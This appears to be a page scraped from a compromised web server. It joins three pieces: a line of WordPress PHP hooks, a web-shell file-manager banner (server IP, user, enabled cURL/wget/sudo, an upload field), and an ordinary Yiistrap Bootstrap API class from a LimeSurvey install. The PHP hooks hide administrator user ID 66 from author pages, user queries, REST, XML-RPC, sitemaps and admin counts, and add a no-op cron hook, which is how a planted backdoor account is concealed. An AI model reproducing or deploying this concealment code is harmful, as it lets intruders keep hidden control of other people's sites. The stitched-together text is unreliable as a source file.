add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/extensions/bootstrap5/components/ |
Upload File : |
<?php
/**
* TbApi class file.
* @author Christoffer Niska <christoffer.niska@gmail.com>
* @copyright Copyright © Christoffer Niska 2013-
* @license http://www.opensource.org/licenses/bsd-license.php New BSD License
* @package bootstrap.components
* @version 1.2.0
*/
/**
* Bootstrap API component.
*/
class TbApi extends CApplicationComponent
{
// Bootstrap plugins
const PLUGIN_AFFIX = 'affix';
const PLUGIN_ALERT = 'alert';
const PLUGIN_BUTTON = 'button';
const PLUGIN_CAROUSEL = 'carousel';
const PLUGIN_COLLAPSE = 'collapse';
const PLUGIN_DROPDOWN = 'dropdown';
const PLUGIN_MODAL = 'modal';
const PLUGIN_POPOVER = 'popover';
const PLUGIN_SCROLLSPY = 'scrollspy';
const PLUGIN_TAB = 'tab';
const PLUGIN_TOOLTIP = 'tooltip';
const PLUGIN_TRANSITION = 'transition';
const PLUGIN_TYPEAHEAD = 'typeahead';
/**
* @var int static counter, used for determining script identifiers.
*/
public static $counter = 0;
/**
* @var string path to Bootstrap assets (will default to node_modules/bootstrap/dist).
*/
public $bootstrapPath;
/**
* @var bool whether we should copy the asset file or directory even if it is already published before.
*/
public $forceCopyAssets = false;
/**
* @var string base URL to Bootstrap CDN - set this if you wish to use Bootstrap though a CDN.
* @see http://getbootstrap.com/getting-started/#download-cdn
*/
public $cdnUrl;
private $_assetsUrl;
private $_bootstrapUrl;
/**
* Initializes this component.
*/
public function init()
{
parent::init();
if ($this->bootstrapPath === null) {
$this->bootstrapPath = Yii::getPathOfAlias('vendor.twbs.bootstrap.dist');
}
}
/**
* Registers the Bootstrap CSS.
* @param string $url the URL to the CSS file to register.
* @param string $media the media type (defaults to 'screen').
*/
public function registerCoreCss($url = null, $media = 'screen')
{
if ($url === null) {
$fileName = YII_DEBUG ? 'bootstrap.css' : 'bootstrap.min.css';
$url = $this->getBootstrapUrl() . '/css/' . $fileName;
}
Yii::app()->getClientScript()->registerCssFile($url, $media);
}
/**
* Registers the Bootstrap theme CSS.
* @param string $url the URL to the CSS file to register.
* @param string $media the media type (defaults to 'screen').
*/
public function registerThemeCss($url = null, $media = 'screen')
{
if ($url === null) {
$fileName = YII_DEBUG ? 'bootstrap-theme.css' : 'bootstrap-theme.min.css';
$url = $this->getBootstrapUrl() . '/css/' . $fileName;
}
Yii::app()->getClientScript()->registerCssFile($url, $media);
}
/**
* Registers the Yiistrap CSS.
* @param string $url the URL to the CSS file to register.
* @param string $media the media type (default to 'screen').
*/
public function registerYiistrapCss($url = null, $media = 'screen')
{
if ($url === null) {
$fileName = YII_DEBUG ? 'yiistrap.css' : 'yiistrap.min.css';
$url = $this->getAssetsUrl() . '/css/' . $fileName;
}
Yii::app()->getClientScript()->registerCssFile($url, $media);
}
/**
* Fixes panning and zooming on mobile devices.
* @see http://getbootstrap.com/css/#overview-mobile
*/
public function fixPanningAndZooming()
{
Yii::app()->getClientScript()->registerMetaTag('width=device-width, initial-scale=1.0', 'viewport');
}
/**
* Registers all Bootstrap CSS files.
*/
public function registerAllCss()
{
$this->registerCoreCss();
$this->registerYiistrapCss();
$this->fixPanningAndZooming();
}
/**
* Registers jQuery and Bootstrap JavaScript.
* @param string $url the URL to the JavaScript file to register.
* @param int $position the position of the JavaScript code.
* 20210322: GJ - Commenting the whole method implementation. JS and CSS are not needed
* and by commenting them, we don't need to mantain them.
*/
public function registerCoreScripts($url = null, $position = CClientScript::POS_END)
{
/*if ($url === null) {
$fileName = YII_DEBUG ? 'bootstrap.js' : 'bootstrap.min.js';
$url = $this->getBootstrapUrl() . '/js/' . $fileName;
}*/
/** @var CClientScript $cs */
/*$cs = Yii::app()->getClientScript();
$cs->registerCoreScript('jquery');
$cs->registerScriptFile($url, $position);*/
}
/**
* Registers the Tooltip and Popover plugins.
*/
public function registerTooltipAndPopover()
{
$this->registerPopover();
$this->registerTooltip();
}
/**
* Registers all Bootstrap JavaScript files.
*/
public function registerAllScripts()
{
$this->registerCoreScripts();
$this->registerTooltipAndPopover();
}
/**
* Registers all assets.
*/
public function register()
{
$this->registerAllCss();
$this->registerAllScripts();
}
/**
* Registers the Bootstrap Popover plugin.
* @param string $selector the CSS selector.
* @param array $options the JavaScript options for the plugin.
* @see http://twitter.github.com/bootstrap/javascript.html#popover
*/
public function registerPopover($selector = 'body', $options = array())
{
TbArray::defaultValue('selector', 'a[rel=popover]', $options);
$this->registerPlugin(self::PLUGIN_POPOVER, $selector, $options);
}
/**
* Registers the Bootstrap Tooltip plugin.
* @param string $selector the CSS selector.
* @param array $options the JavaScript options for the plugin.
* @see http://twitter.github.com/bootstrap/javascript.html#tooltip
*/
public function registerTooltip($selector = 'body', $options = array())
{
TbArray::defaultValue('selector', 'a[rel=tooltip]', $options);
$this->registerPlugin(self::PLUGIN_TOOLTIP, $selector, $options);
}
/**
* Registers a specific Bootstrap plugin using the given selector and options.
* @param string $name the plugin name.
* @param string $selector the CSS selector.
* @param array $options the JavaScript options for the plugin.
* @param int $position the position of the JavaScript code.
*/
public function registerPlugin($name, $selector, $options = array(), $position = CClientScript::POS_END)
{
$options = !empty($options) ? CJavaScript::encode($options) : '';
$script = "jQuery('{$selector}').{$name}({$options});";
$id = __CLASS__ . '#Plugin' . self::$counter++;
Yii::app()->clientScript->registerScript($id, $script, $position);
}
/**
* Registers events using the given selector.
* @param string $selector the CSS selector.
* @param string[] $events the JavaScript event configuration (name=>handler).
* @param int $position the position of the JavaScript code.
*/
public function registerEvents($selector, $events, $position = CClientScript::POS_END)
{
if (!empty($events)) {
$script = '';
foreach ($events as $name => $handler) {
if (!$handler instanceof CJavaScriptExpression) {
$handler = new CJavaScriptExpression($handler);
}
$script .= "jQuery('{$selector}').on('{$name}', {$handler});";
}
$id = __CLASS__ . '#Events' . self::$counter++;
Yii::app()->clientScript->registerScript($id, $script, $position);
}
}
/**
* Returns the url to the published Bootstrap folder, or the CDN if applicable.
* @return string the url.
* @throws Exception
*/
protected function getBootstrapUrl()
{
if (!isset($this->_bootstrapUrl)) {
if (isset($this->cdnUrl)) {
$this->_bootstrapUrl = $this->cdnUrl;
} else {
if (($path = Yii::getPathOfAlias($this->bootstrapPath)) !== false) {
$this->bootstrapPath = $path;
} else if ($this->bootstrapPath === false) {
throw new Exception("Invalid Bootstrap path and CDN URL not set. Set vendor.twbs.bootstrap.dist alias or cdnUrl parameter in the configuration file.");
}
$this->_bootstrapUrl = Yii::app()->assetManager->publish($this->bootstrapPath, false, -1, $this->forceCopyAssets);
}
}
return $this->_bootstrapUrl;
}
/**
* Returns the url to the published folder that contains the assets for this extension.
* @return string the url.
*/
protected function getAssetsUrl()
{
if (!isset($this->_assetsUrl)) {
$assetPath = dirname(__DIR__) . '/assets';
$this->_assetsUrl = Yii::app()->assetManager->publish($assetPath, false, -1, $this->forceCopyAssets);
}
return $this->_assetsUrl;
}
}